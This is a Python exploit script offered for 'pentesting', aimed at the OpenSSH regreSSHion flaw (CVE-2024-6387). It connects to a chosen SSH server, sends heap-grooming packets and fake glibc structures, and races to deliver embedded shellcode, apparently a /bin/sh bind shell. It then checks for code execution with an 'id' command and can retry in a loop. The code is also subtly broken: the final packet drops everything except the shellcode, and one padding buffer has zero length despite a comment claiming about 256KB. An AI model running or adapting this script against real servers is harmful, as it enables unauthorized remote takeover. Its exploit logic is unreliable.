regreSSHion.py

#regreSSHion exploit script version 0.2.1 - made by o-(L) for pentesting purposes
# https://github.com/l-urk
import socket
import struct
import time
import logging
import argparse
import errno
import os
import sys
import threading
import chardet
from select import select as select_select
from colorama import Fore, Style, init
from signal import signal, SIGPIPE, SIG_DFL
# Handle SIGPIPE to avoid broken pipe errors
signal(SIGPIPE, SIG_DFL)
# Constants
MAX_PACKET_SIZE     = 256 * 1024
LOGIN_GRACE_TIME    = 120
MAX_STARTUPS        = 100
CONNECTION_RETRIES  = 5
PACKET_SEND_RETRIES = 3
# Possible glibc base addresses
GLIBC_BASES = [0xb7200000, 0xb7400000]
def clearscreen():
    """
    Clears the terminal screen based on the operating system.
    """
    if os.name == 'nt':  # For Windows
        os.system('cls')
    else:  # For Unix-based systems
        os.system('clear')
        
def animate():
    """
    Basic terminal animation.
    """
    animation = ['!.......', '.!......', '..!.....', '...!....', '....!...', '.....!..', '......!.', '.......!']
    for frame in animation + animation[::-1]:
        sys.stdout.write(f"\r{frame}")
        time.sleep(0.1)
    sys.stdout.write('\r')
    
def setup_logging(debug, time):
#   Sets up logging based on debug mode
    class CustomFormatter(logging.Formatter):
        def format(self, record):
            original_levelname = record.levelname
            if record.levelname == 'INFO':
                record.levelname = 'INFO.'
            if record.levelname == 'WARNING':
                record.levelname = 'WARN!'
            if record.levelname == 'DEBUG':
                record.levelname = 'DEBUG'
            formatted_message = super().format(record)
            record.levelname = original_levelname  # Restore original levelname
            return formatted_message  
    logging_level = logging.DEBUG if debug else logging.INFO
    if time == True:
        formatter = CustomFormatter('%(asctime)s : %(levelname)s : %(message)s')
    else:
        formatter = CustomFormatter('%(levelname)s : %(message)s')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)   
    root_logger = logging.getLogger()
    root_logger.setLevel(logging_level)
    root_logger.addHandler(handler)    
    return root_logger
    
def setup_connection(ip, port):
    attempt = 0
    while attempt < CONNECTION_RETRIES:
        try:
            logger.info(f"attempting to connect to {ip}:{port} (attempt {attempt + 1})")
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)  # Add a timeout for blocking operations
            sock.connect((ip, port))
            sock.setblocking(False)
            # Set socket buffer sizes
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 64 * 1024)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 64 * 1024)
            logger.info("connection established")
            return sock
        except socket.error as e:
            logger.error(f"socket error: {e}")
            attempt += 1
            time.sleep(0)  # Wait before retrying
            continue
    logger.error("failed to establish connection after maximum retries")
    return None
    
def send_packet(sock, data):
    packet_len = len(data) + 4
    packet = struct.pack("!I", packet_len) + data
    retries = 0
    while retries < PACKET_SEND_RETRIES:
        try:
            logger.debug(f"sending packet with length: {len(packet)}")
            while packet:
                ready = select_select([], [sock], [], 10)
                if ready[1]:
                    try:
                        sent = sock.send(packet)
                        packet = packet[sent:]
                        logger.debug(f"sent {sent} bytes, {len(packet)} bytes remaining")
                    except socket.error as e:
                        if e.errno == errno.EAGAIN:
                            logger.warning("socket temporarily unavailable, retrying")
                            time.sleep(0.1)
                            continue
                        else:
                            logger.error(f"Send packet error: {e}")
                            return False
                else:
                    logger.warning("socket not ready for writing")
                    return False
            return True
        except socket.error as e:
            logger.error(f"Send packet error: {e}")
            retries += 1
            time.sleep(1)
    return False
    
def perform_ssh_handshake(sock):
        logger.info("SSH intitiating handshake")
        if send_ssh_version(sock) == 1 and receive_ssh_version(sock) == 1:
            logger.info("SSH handshake successful")
        else:
            logger.error("SSH handshake failed")
            sys.exit()
        logger.info("KEX_INIT intitiating handshake")
        if send_kex_init(sock) == 1 and receive_kex_init(sock) == 1:
            logger.info("KEX_INIT handshake successful")
        else:
            logger.error("KEX_INIT handshake failed")
            sys.exit()
            
def send_ssh_version(sock):
    ssh_version = b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"
    while ssh_version:
        ready = select_select([], [sock], [], 10)
        if ready[1]:
            try:
                sent = sock.send(ssh_version)
                ssh_version = ssh_version[sent:]
                logger.info("SSH sent version string.")
                return 1
            except socket.error as e:
                logger.error(f"SSH version string tried to send but had error: {e}")
                return 0
        else:
            logger.warning("SSH socket not ready for writing version.")
            return 0
            
def receive_ssh_version(sock):
    buffer = b""
    logger.debug("SSH waiting to receive version string")
    while True:
        readable, _, _ = select_select([sock], [], [], 1.0)
        if readable:
            try:
                part = sock.recv(1024)
                if not part:
                    logger.debug("connection closed by the server")
                    break
                logger.info(f"SSH received {len(part)} bytes")
                buffer += part
                if b"SSH" in buffer:
                    logger.debug(f"SSH version string: {buffer.decode()}")
                    return 1
                else:
                    logger.error("SSH failed to receive version string")
                    return 1
            except BlockingIOError:
                logger.debug("SSH blockingIOError while receiving version string")
                return 0
                
def send_kex_init(sock):
    kexinit_payload = b"\x00" * 36
    while kexinit_payload:
        ready = select_select([], [sock], [], 10)
        if ready[1]:
            try:
                sent = sock.send(kexinit_payload)
                kexinit_payload = kexinit_payload[sent:]
                logger.info("KEX_INIT sent payload")
                return 1
            except socket.error as e:
                logger.error(f"KEX_INIT tried to send but had error: {e}")
                return 0
        else:
            logger.warning("KEX_INIT socket not ready for writing")
            return 0
            
def receive_kex_init(sock):
    try:
        ready = select_select([sock], [], [], 10)
        if ready[0]:
            response = sock.recv(1024)
            logger.info(f"KEX_INIT received {len(response)} bytes")
            
            # Detect encoding
            detected = chardet.detect(response)
            encoding = detected['encoding']
            if encoding is None:
                encoding = 'utf-8'  # Fallback to a default encoding
            
            # Attempt to decode
            try:
                decoded_response = response.decode(encoding)
            except UnicodeDecodeError:
                decoded_response = response.decode('utf-8', errors='replace')  # or 'ignore'
                logger.warning(f"Decoding error encountered, using replacement characters: {decoded_response}")

            logger.debug(f"KEX_INIT received: {decoded_response}")
            return 1
        else:
            logger.warning("KEX_INIT no response received")
            return 0
    except socket.error as e:
        logger.error(f"KEX_INIT received error: {e}")
        return 0
        
def prepare_heap(sock):
    logger.info("preparing heap")
    # Packet a: Allocate and free tcache chunks
    for i in range(10):
        tcache_chunk = b'A' * 64
        success = send_packet(sock, tcache_chunk)
        if success:
            logger.info(f"sent tcache chunk {i+1}")
        else:
            logger.error(f"failed to send tcache chunk {i+1}")
    # Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
    for i in range(27):
        large_hole = b'B' * 128
        success = send_packet(sock, large_hole)
        if success:
            small_hole = b'C' * 320
            send_packet(sock, small_hole)
            logger.info(f"sent large and small hole pair {i+1}")
        else:
            logger.error(f"failed to send large and small hole pair {i+1}")
    # Packet c: Write 5 fake headers, footers, vtable and _codecvt pointers
    for i in range(4):
        fake_data = create_fake_file_structure(GLIBC_BASES[0])
        success = send_packet(sock, fake_data)
        if success:
            logger.info(f"sent fake file structure {i+1}")
        else:
            logger.error(f"failed to send fake file structure {i+1}")
    # Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
    large_string = b'E' * (MAX_PACKET_SIZE - MAX_PACKET_SIZE)    
    success = send_packet(sock, large_string)
    if success:
        logger.info("sent large string")
    else:
        logger.error("failed to send large string")
    logger.info("heap preparation complete")

def create_fake_file_structure(glibc_base):
    fake_file_struct = bytearray(4096)
    struct.pack_into('P', fake_file_struct, 0x48, 0x61)
    struct.pack_into('P', fake_file_struct, 4080, glibc_base + 0x21b740)  # fake vtable (_IO_wfile_jumps)
    struct.pack_into('P', fake_file_struct, 4088, glibc_base + 0x21d7f8)  # fake _codecvt
    return bytes(fake_file_struct)

def time_final_packet(sock):
    logger.info(f"sock time 0: {0:.6f}")
    time_before = measure_response_time(sock, 1)
    logger.info(f"sock time 1: {time_before:.6f} seconds")
    time_after = measure_response_time(sock, 2)
    logger.info(f"sock time 2: {time_after:.6f} seconds")
    parsing_time = time_after - time_before
    if parsing_time < 0:
        parsing_time *= -1
    return parsing_time
    
def measure_response_time(sock, error_type):
    error_packets = {
        1: b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3",
        2: b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
    }
    error_packet = error_packets.get(error_type, b"")   
    if not error_packet:
        logger.error(f"invalid error_type: {error_type}")
        return 0 
    start = time.monotonic()
    if not send_packet(sock, error_packet):
        logger.error(f"failed to send error packet {error_type}")
        return 0
    try:
        ready = select_select([sock], [], [], 10)
        if ready[0]:
            sock.recv(1024)  # Adjust buffer size if necessary
    except socket.error as e:
        logger.error(f"measure response time error: {e}")
        return 0
    end = time.monotonic()
    return end - start
    
def create_public_key_packet(glibc_base, shellcode):
    """
    Create a public key packet with embedded shellcode for an exploit.

    Parameters:
    glibc_base (int): The base address of the glibc library.
    shellcode (bytes): The shellcode to be embedded in the packet.

    Returns:
    bytes: The constructed public key packet.

    Raises:
    TypeError: If shellcode is not a bytes object.
    ValueError: If shellcode is empty or extends beyond the packet size.
    """

    # Constants for packet size calculation
    SSH_RSA_PREFIX = b"ssh-rsa "
    FIXED_SIZE1 = 4096 * 13
    FIXED_SIZE2 = 304 * 13
    HEADER_SIZE = len(SSH_RSA_PREFIX)

    # Ensure shellcode is of type bytes and not empty
    if not isinstance(shellcode, bytes):
        raise TypeError("shellcode must be a bytes object")
    if not shellcode:
        raise ValueError("shellcode must not be empty")

    # Calculate total packet size
    total_size = FIXED_SIZE1 + FIXED_SIZE2 + len(shellcode)

    # Create a bytearray with the exact required size
    packet = bytearray(total_size)

    # Set the first 8 bytes to "ssh-rsa "
    packet[:HEADER_SIZE] = SSH_RSA_PREFIX

    # Place the shellcode in the appropriate position
    shellcode_start = FIXED_SIZE1 + FIXED_SIZE2
    shellcode_end = shellcode_start + len(shellcode)

    # Ensure the slice assignment is valid
    if shellcode_end > len(packet):
        raise ValueError("shellcode extends beyond packet size")

    packet[shellcode_start:shellcode_end] = shellcode

    # Call the function to create the fake file structure (assuming it's defined elsewhere)
    create_fake_file_structure(glibc_base)
    
    packet = shellcode
    
    final_packet = packet
    return bytes(final_packet)
    
def attempt_race_condition(sock, parsing_time, glibc_base, shellcode):
    final_packet = create_public_key_packet(glibc_base, shellcode)
    max_retries = 10
    retries = 0
    logger.info(f"attempting to send final packet")
    while retries < max_retries:
        try:
#            send_packet(sock, "123")
#           time.sleep(0.5)  # Add a delay before sending the final byte
            time.sleep(parsing_time)  # Wait based on parsing time
            sock.sendall(final_packet)
            return True
        except socket.error as e:
            logger.error(f"socket error: {e}, errno: {e.errno}")
            if e.errno in [errno.EAGAIN, errno.EWOULDBLOCK]:
                logger.warning("resource temporarily unavailable, retrying")
                retries += 1
                time.sleep(1)  # Increase delay before retrying
            else:
                logger.error(f"Send final packet error: {e}")
                return False
    logger.error("failed to send final packet after multiple retries")
    return False
    
def verify_exploit_success(sock):
    try:
        logger.info("verifying success - sending id command")
        command = b" id \n"
        if not send_packet(sock, command):
            logger.error("failed to send verification command")
            return False
        ready = select_select([sock], [], [], 10)
        if ready[0]:
            response = sock.recv(1024).decode()
            logger.info(f"verification response by id command: {response}")           
            if 'uid' in response:
                logger.info("exploit verification success")
                return True
            else:
                logger.error("exploit verification failed")
                return False
    except socket.error as e:
        logger.error(f"verification error: {e}")
        return False
        
def perform_exploit(ip, port, shellcode, skipssh, skipheap, skipfinal):
    success = False
    for glibc_base in GLIBC_BASES:
        for i in range(5):
            sock = setup_connection(ip, port)
            if not sock:
                logger.error("failed to establish connection")
                continue                                             
            if skipssh != 1:
                perform_ssh_handshake(sock)
            else:
                logger.warning("-x mode enabled, skipping SSH and KEX_INIT handshake")
#            animate()
            if skipheap != 1:        
                prepare_heap(sock)
                parsing_time = time_final_packet(sock)
            else:
                logger.warning("-y mode enabled, skipping heap and parse")
                parsing_time = 0
            logger.info(f"diff time 0: {parsing_time:.6f} seconds")
            payload_success = attempt_race_condition(sock, parsing_time, glibc_base, shellcode)
            if payload_success:
                logger.info("payload sent successfully")
            else:
                logger.error("payload not sent")
            if skipfinal != 1:
                exploit_success = verify_exploit_success(sock)
                if exploit_success:
                    logger.info("exploitation successful")
                    return
                else:
                    logger.error("exploitation failed for no final return")
                    return
            else:
                logger.warning("-z mode enabled, skipping final check, exploit complete")
                return
class CustomFormatter(argparse.HelpFormatter):
    def __init__(self, prog, description, epilog):
        super().__init__(prog, max_help_position=40)
        self.description = description
        self.epilog = epilog
        self._add_color = lambda text, color: f"{color}{text}{Style.RESET_ALL}"
        
    def format_help(self):
        """
        Customize help formatting to include the description and epilog in the desired format.
        """
        # Start with the standard help text
        help_text = super().format_help()
        # Prepare formatted sections
        formatted_description = self._add_color(self.description, Fore.YELLOW)
        formatted_epilog = self._add_color(self.epilog, Fore.CYAN)
        contact_section = self._add_color("\U0001F512 contact: github.com/l-urk - x.com/l_urkk", Fore.RED)
        # Extract the 'usage:' and 'options:' sections
        usage_start = help_text.find('usage:')
        options_start = help_text.find('options:')
        epilog_start = help_text.find('Effected OpenSSH Versions:')     
        if usage_start == -1 or options_start == -1:
            return help_text  # Return original help if sections not found
        usage_section = help_text[usage_start:options_start].strip()
        options_section = help_text[options_start:epilog_start].strip() if epilog_start != -1 else help_text[options_start:].strip()
        # Combine formatted sections into final help text
        final_help_text = f"{formatted_description}\n\n{usage_section}\n\n{options_section}\n\n{formatted_epilog}\n\n{contact_section}"
        clearscreen()
        return final_help_text
        
if __name__ == "__main__":
    init(autoreset=True)  # initialize colorama
    hack = False          # state hacked mode as disabled
    description = "\U0001F512 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit script" # define description
    epilog = "\U0001F512 Affected OpenSSH Versions: 1.2.2p1 ~ 4.4 and 8.5p1 ~ 9.8" # define epilog
    formatter_class = lambda prog: CustomFormatter(prog, description, epilog) # create an argumentparser with a custom formatter
    parser = argparse.ArgumentParser(
        description=description,
        epilog=epilog,
        formatter_class=formatter_class
    )
    parser.add_argument("-i", "--ip",           required=True,              help="target SSH server IPv4 ( format: -i 0.0.0.0 )")
    parser.add_argument("-p", "--port",         required=True,  type=int,   help="target SSH server port number ( format: -p 22 )")
#    parser.add_argument("-s", "--shellcode",    required=False, type=str,   help="shellcode payload in hex - add byte (b) ( format: -s b\"\\x00\\x00\\x00\" )")
    parser.add_argument("-t", "--time",         action="store_true",        help="ENABLE TIME displayed on all log output ( format: -t )")
    parser.add_argument("-c", "--clear",        action="store_true",        help="CLEAR SCREEN before running the exploit ( format: -c )")
    parser.add_argument("-d", "--debug",        action="store_true",        help="enable see the DEBUG LOGS output on run ( format: -d )")
    parser.add_argument("-r", "--repeat",       action="store_true",        help="enable to REPEAT EXPLOIT until RCE wins ( format: -r )")
    parser.add_argument("-x", "--skipssh",      action="store_true",        help="enable this to SKIP SSH HANDSHAKES ( format: -x )")
    parser.add_argument("-y", "--skipheap",     action="store_true",        help="enable this to SKIP HEAP and parse ( format: -y )")
    parser.add_argument("-z", "--skipfinal",    action="store_true",        help="enable this to SKIP FINAL ID CHECK ( format: -z )")

    # Parse arguments to check if help is needed
    args, unknown = parser.parse_known_args()
    if '-c' in sys.argv or '--clear' in sys.argv:
        clearscreen()
    if '-h' in sys.argv or '--help' in sys.argv:
        clearscreen()
        parser.print_help()
        sys.exit()
        
    shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x00\x00\x01\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    
    # Setup logging and perform exploit if not showing help
    logger = setup_logging(args.debug, args.time)
    logger.debug("logging is set to %s level", logging.getLevelName(logger.level))
    
    if args.repeat:
        while True:
            perform_exploit(args.ip, args.port, shellcode, args.skipssh, args.skipheap, args.skipfinal)
            time.sleep(1)
    else:
        perform_exploit(args.ip, args.port, shellcode, args.skipssh, args.skipheap, args.skipfinal)